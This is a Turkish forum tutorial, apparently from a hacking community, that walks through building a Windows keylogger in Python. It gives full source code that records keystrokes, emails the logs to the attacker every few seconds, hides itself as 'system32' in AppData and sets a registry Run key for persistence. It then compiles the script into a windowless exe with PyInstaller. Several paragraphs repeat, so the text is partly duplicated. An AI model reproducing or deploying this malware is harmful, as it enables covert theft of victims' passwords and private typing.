- 20 Ocak 2019
- 99
- 42
İlk olarak Windows makinenize Python'ı kurmanız gerekiyor, alttaki linkten indirip kurabilirsiniz. Kurulumlar oldukça basit ve youtube da fazlası ile video var, oraları geçiyorum.
Python:
Python'ı kurduktan sonra klavyeden gelen her girdiyi almamızı sağlayacak "pynput" kütüphanesi yükleyeceğiz. Diğer kütüphaneler Python ile kurulu gelmektedir.
Komut İstemcisini (CMD) açıyoruz ve alttaki forma uygun olacak şekilde yazıp yüklenmesini bekliyoruz.
Kod:
Yüklediğimiz_Python_Pathi -m pip install pynput
Örnek :
C:\Python\python.exe -m pip install pynput
Şimdi kodumuzu yazmaya hazırız. Dilediğiniz ide veya editör kurabilir, kullanabilirsiniz. Burayı da geçip, kodları paylaşıyorum.
eğer live servisi yerine gmail servisi kullanacaksanız, google güvenlik ayarlarını kapatmanız gereklidir.
server = smtplib.SMTP("smtp.live.com", 587) yerine
server = smtplib.SMTP("smtp.gmail.com", 587) yazmanız gerekli
Şimdi sıra py uzantılı dosyamızı exe uzantılı program haline getirmeye geldi, bu şekilde kütüphanleri programın içine gömerek, programı çalıştıracağınız sistemde Python kurulu olmasına gerek duymadan programı aktif edebileceksiniz. Bunun için bir kütüphane daha yükleyeceğiz
Kütüphanemizi yüklendikten sonra exe çevirme işlemini yapacağız.
Kod:
Programımız masaüstünde oluşan "build" klasörü içindedir.
Python:
Python'ı kurduktan sonra klavyeden gelen her girdiyi almamızı sağlayacak "pynput" kütüphanesi yükleyeceğiz. Diğer kütüphaneler Python ile kurulu gelmektedir.
Komut İstemcisini (CMD) açıyoruz ve alttaki forma uygun olacak şekilde yazıp yüklenmesini bekliyoruz.
Kod:
Yüklediğimiz_Python_Pathi -m pip install pynput
Örnek :
C:\Python\python.exe -m pip install pynput
Şimdi kodumuzu yazmaya hazırız. Dilediğiniz ide veya editör kurabilir, kullanabilirsiniz. Burayı da geçip, kodları paylaşıyorum.
Kod:
import pynput.keyboard as pynput
import smtplib
import threading
import os
import shutil
import sys
import subprocess
GitHub - Posew7/keylog_: TurkHackTeam
TurkHackTeam. Contribute to Posew7/keylog_ development by creating an account on GitHub.
github.com
Kod:
log = """ start"""
def callback_func(key):
global log
try:
log = log + key.char.encode("utf-8")
except:
log = log + str(key)
def send_mail(email, password, to_email, message):
server = smtplib.SMTP("smtp.live.com", 587)
server.starttls()
server.login(email, password)
server.sendmail(email, to_email, message)
server.quit()
Kod:
def thread_func():
global log
send_mail("[email protected]", "sifre", "[email protected]", log)
log = """
"""
timer = threading.Timer(5, thread_func)
timer.start()
file_path = os.environ["appdata"] + "\\system32"
if not os.path.exists(file_path):
shutil.copyfile(sys.executable, file_path)
regedit = "reg add HKCU\\Software\\Microsoft\\Windows\\Currentversion \\Run /v upgrade /t REG_SZ /d " + file_path
subprocess.call(regedit, shell=True)
listener = pynput.Listener(on_press=callback_func)
with listener:
thread_func()
listener.join()
eğer live servisi yerine gmail servisi kullanacaksanız, google güvenlik ayarlarını kapatmanız gereklidir.
server = smtplib.SMTP("smtp.live.com", 587) yerine
server = smtplib.SMTP("smtp.gmail.com", 587) yazmanız gerekli
Şimdi sıra py uzantılı dosyamızı exe uzantılı program haline getirmeye geldi, bu şekilde kütüphanleri programın içine gömerek, programı çalıştıracağınız sistemde Python kurulu olmasına gerek duymadan programı aktif edebileceksiniz. Bunun için bir kütüphane daha yükleyeceğiz
Kod:
Yüklediğimiz_Python_Pathi -m pip install pyinstaller
Örnek :
C:\Python27\python.exe -m pip install pyinstaller
Kütüphanemizi yüklendikten sonra exe çevirme işlemini yapacağız.
Kod:
Kod:
Pyinstaller_Path Keylogger.py.path --onefile --noconsole
Komut İstemcim ve Keylogger.py'm masaüstündedir, buna dikkat ediniz
Örnek
C:\Python\Scripts\pyinstaller.exe keylog.py --onefile --noconsole
Programımız masaüstünde oluşan "build" klasörü içindedir.